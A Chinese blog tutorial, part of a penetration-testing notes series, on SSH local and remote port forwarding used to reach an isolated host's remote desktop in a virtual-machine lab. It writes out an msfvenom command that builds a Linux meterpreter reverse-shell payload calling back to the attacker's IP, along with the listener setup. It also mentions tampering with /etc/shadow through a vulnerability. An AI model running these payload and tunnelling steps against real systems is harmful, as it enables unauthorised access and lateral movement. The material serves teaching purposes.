当前位置: 首页 > article >正文

[隧道代理] 隧道代理 — 端口转发 - SSH 端口转发

关注这个专栏的其他相关笔记:[内网安全] 内网渗透 - 学习手册-CSDN博客

0x01:SSH 工具介绍

SSH(Secure Shell)是一种加密的网络协议,用于在不安全的网络中安全地执行远程登录、命令执行和文件传输等操作。SSH 工具是用于实现 SSH 协议的客户端或服务端软件,SSH 工具可以对客户端和服务端之间的数据传输进行压缩和加密,有身份验证、SCP、SFTP 和端口转发等功能。

SSH 转发常用参数如下:

参数含义
-C请求压缩所有数据
-D动态转发、即 Socks 代理
-f后台执行 SSH 命令
-g允许远程主机连接主机的转发端口
-L本地转发
-N不执行远程指令,处于等待状态
-R远程转发

0x02:SSH 本地端口转发(正向转发)

SSH 本地端口转发条件:你要知道本地 Root 用户的账号密码,且机器允许 Root 远程登录。

0x0201:场景描述

现在有如下网络,电脑 A 是攻击机(公网),可以直接访问电脑 B(公网),但是无法访问电脑 C(内网),此时我们就可以借助电脑 B 上的 SSH 命令进行端口转发访问电脑 C 指定端口。

网络拓扑图如下,AB 两台机器模拟公网环境(笔者没有购买公网服务器,大家先暂时将 192.168 这个当作公网 IP 好了,意思达到就行),BC 两台机器模拟内网环境,C 机器是纯内网机器,即它也访问不了 A:

复现环境

  • 攻击机 Kali Linux:IP 192.168.0.136

  • 边界机器 CentOS7:IP 192.168.0.137 / 192.168.10.128

  • 内网机器 Windows 7 专业版:IP 192.168.10.129 - 开放 3389 端口

0x0202:试验步骤

1. 拿到边界机器 Shell

使用 WebShell 或者其他方式登录边界机器 B 中,笔者这里采用 SSH 直接通过账号密码登录(问就是我自己通过漏洞篡改了它的 /etc/shadow/etc/passwd 创建的用户):

 ssh root@192.168.0.137

2. SSH 本地端口转发

假设我们通过内网信息收集获得目标内网的 C 机器 192.168.10.129 开放了 3389 端口,但是由于网络隔离,我们无法通过 rdesktop 命令直接访问 C 机器。

但是我们现在控制的 B 机器与 C 机器处于同一网段,所以我们可以通过本地端口转发技术,让 B 机器的 3333 端口与 C 机器的 3389 端口做一个绑定。这样,当我们攻击机访问 B 机器的 3333 端口就相当于访问了 C 机器的 3389 端口。

在跳板机 B 机器的远控 Shell 中输入下面命令,进行本地端口转发(需要知道 B 机器 Root 用户密码,且 B 机器允许 Root 用户远程登录):

 ssh -CfNg -L 本地端口:主机B_IP:主机B_端口 跳板主机A_IP # 需要输入跳板机的账号密码
 ​
 示例: ssh -CfNg -L 3333:192.168.10.129:3389 192.168.0.137

如上,如果没报错,就证明 SSH 隧道搭建完毕了。

3. 正向连接访问内网 C 机器远程桌面服务

此时我们在 Kali Linux 中新开一个窗口,输入如下命令,尝试连接 C 机器的远程桌面(如果连接失败,请尝试关闭 C 机器的防火墙):

 rdesktop 192.168.0.137:3333

如上,成功连接上了目标内网 C 机器的 3389 远程桌面服务。而且,值得注意的是,我们从头到尾只在 B 机器上进行操作,并没有碰 C 机器。

0x03:SSH 远程端口转发(反向转发)

SSH 远程端口转发条件:你要知道远程 Root 用户的账号密码,且机器允许 Root 远程登录。

0x0301:场景描述

现有如下网络,电脑 A 是攻击机(公网),电脑 B 与 电脑 C 都是内网机器,所以 A 不能直接访问 B、C,但是 B、C 均能访问 A:

面对上面那种情况,我们就可以使用 SSH 反向端口转发技术,利用 B 电脑,将 C 电脑指定端口转发到攻击者机器上面,然后进行攻击(全程都不需要 C 电脑参与操作)。

复现环境

  • 攻击机 A - Kali Linux:IP 192.168.0.102 - VMWare 设置为桥接模式

  • 边界机器 - Windows 11(物理机):IP 192.168.0.100 / 172.16.0.1

  • 内网机器 B - CentOS 7:IP 172.16.0.101 - VMWare 设置为 NAT 模式

  • 内网机器 C - Windows 7 专业版:IP 172.16.0.100 - 确保它开启了 3389 远程桌面服务,且 VMWare 也设置为 NAT 模式

0x0302:试验步骤

1. 拿到内网机器 B 的 Shell

这里笔者是通过 Kali Linux 上的 MSF 制作的 Linux 恶意程序上线的员工 B 电脑:

 # Kali Linux 生成针对 Linux 的病毒文件
 msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.102 LPORT=7777 -f elf -o shell.elf
 ​
 # Kali Linux 本地监听命令
 msfconsole # 启动 msf
 use exploit/multi/handler
 set payload linux/x86/meterpreter/reverse_tcp
 set LHOST 192.168.0.102
 set LPORT 7777
 run

2. SSH 远程端口转发

假设我们通过信息收集发现在 B 机器中发现了 C 机器的账号密码,同时我们还发现 C 机器开放了 3389 端口。那么下一步,我们就想通过 C 机器的远程登录服务控制 C 机器,先分析一下:

目前我们攻击机 A 是无法直接访问对方内网的,只能借助 B 机器,B 机器与 C 机器位于同一网段,而我们仅仅是想获得 C 机器的 3389 服务。如果仅仅是吧 C 机器的 3389 转到 B 机器上(本地端口转发),我们 A 机器还是无法访问,但是如果借助 B 机器,将 C 机器的 3389 转发到 A 机器上(远程端口转发),那我们攻击者访问自己还不是轻轻松松。

利用 meterpreter 在 B 机器中执行下面这条命令:

 ssh -CfNg -R 攻击者端口:目标主机IP:目标主机端口 -fN 攻击者_IP # 需要输入攻击者的账号密码
 ​
 示例: ssh -CfNg -R 3333:172.16.0.100:3389 192.168.0.102

如上,如果没有报错,那么恭喜你,SSH 反向端口转发隧道搭建完毕。

3. 反向连接访问内网 C 机器远程桌面服务

此时我们在 Kali Linux 中新开一个窗口,输入如下命令,尝试连接 C 机器的远程桌面(如果连接失败,请尝试关闭 C 机器的防火墙):

 rdesktop 127.0.0.1:3333

如上,攻击机成功拿到了目标内网 C 机器的远程桌面(可惜的是,这个只能在攻击机本地访问,即你如果想通过另一台机器以 192.168.0.102:3333 作为远程桌面的连接请求是无效的)。

0x04:SSH 动态端口转发(Socks 代理)

动态转发类似于 Socks 代理,不仅仅是针对某一个端口的数据进行转发,这个留到后面代理部分讲解。

0x05:参考资料

Linux下解决网卡重启失败Restarting network (via systemctl): Job for network.service failed较全的解决方案-CSDN博客文章浏览阅读2.4w次,点赞42次,收藏138次。Linux下解决网卡重启失败Restarting network (via systemctl): Job for network.service failed较全的解决方案_restarting network (via systemctl): job for network.service failed because thttps://blog.csdn.net/m0_52318340/article/details/133209095
使用root用户ssh远程连接kali - junlin623 - 博客园问题: 直接通过命令 ssh root@ip 无法连接root用户 解决方案: 使用普通用户连接上之后在终端中(此处以windows的cmd窗口进行演示)进行root用户的切换 直接通过root用户登录,但是需要提前到kali中修改配置文件( /etc/ssh/sshd_config) 修改前: 修https://www.cnblogs.com/junlin623/p/17019558.html

http://www.kler.cn/a/543112.html

相关文章:

  • 从肠道菌群到炎症因子:读懂疾病的预警信号
  • 七、I2C通信读取LM75B温度
  • 微信小程序医院挂号系统
  • PyQt学习记录01——加法计算器
  • IDEA接入DeepSeek
  • Word成功接入DeepSeek详细步骤
  • deepseek + kimi 高效生成PPT
  • 如何在个人电脑本地化部署Deepseek-R1大模型
  • 【Rust中级教程】1.4. 内存 Pt.2:栈内存、栈帧(stack frame)、栈指针(stack pointer)
  • 【动态规划篇】:动态规划解决路径难题--思路,技巧与实例
  • 国产化FMC接口通用计算平台设计原理图:2367-基于FMQL45T900 FMC接口通用计算平台
  • .NET Web-静态文件访问目录浏览
  • Django中apps.py作用
  • Day58_20250206_图论part3_101.孤岛的总面积|102.沉没孤岛|103.水流问题|104.建造最大岛屿
  • 51c大模型~合集112
  • 集合家族详情
  • ASUS/华硕飞行堡垒9 FX506H FX706H 原厂Win10系统 工厂文件 带ASUS Recovery恢复
  • 基于 ollama 在linux 私有化部署DeepSeek-R1以及使用RESTful API的方式使用模型
  • vue2 多页面pdf预览
  • 2025年02月12日Github流行趋势
  • maven项目如何部署构建输出(如 JAR、WAR 文件等)到远程仓库中
  • 基于 Python(Flask)、JavaScript、HTML 和 CSS 实现前后端交互的详细开发过程
  • 集成学习(一):从理论到实战(附代码)
  • vue 项目使用vue-watermark组件给页面添加满屏水印
  • 计算机组成原理——中央处理器(九)
  • tp whereOr用法2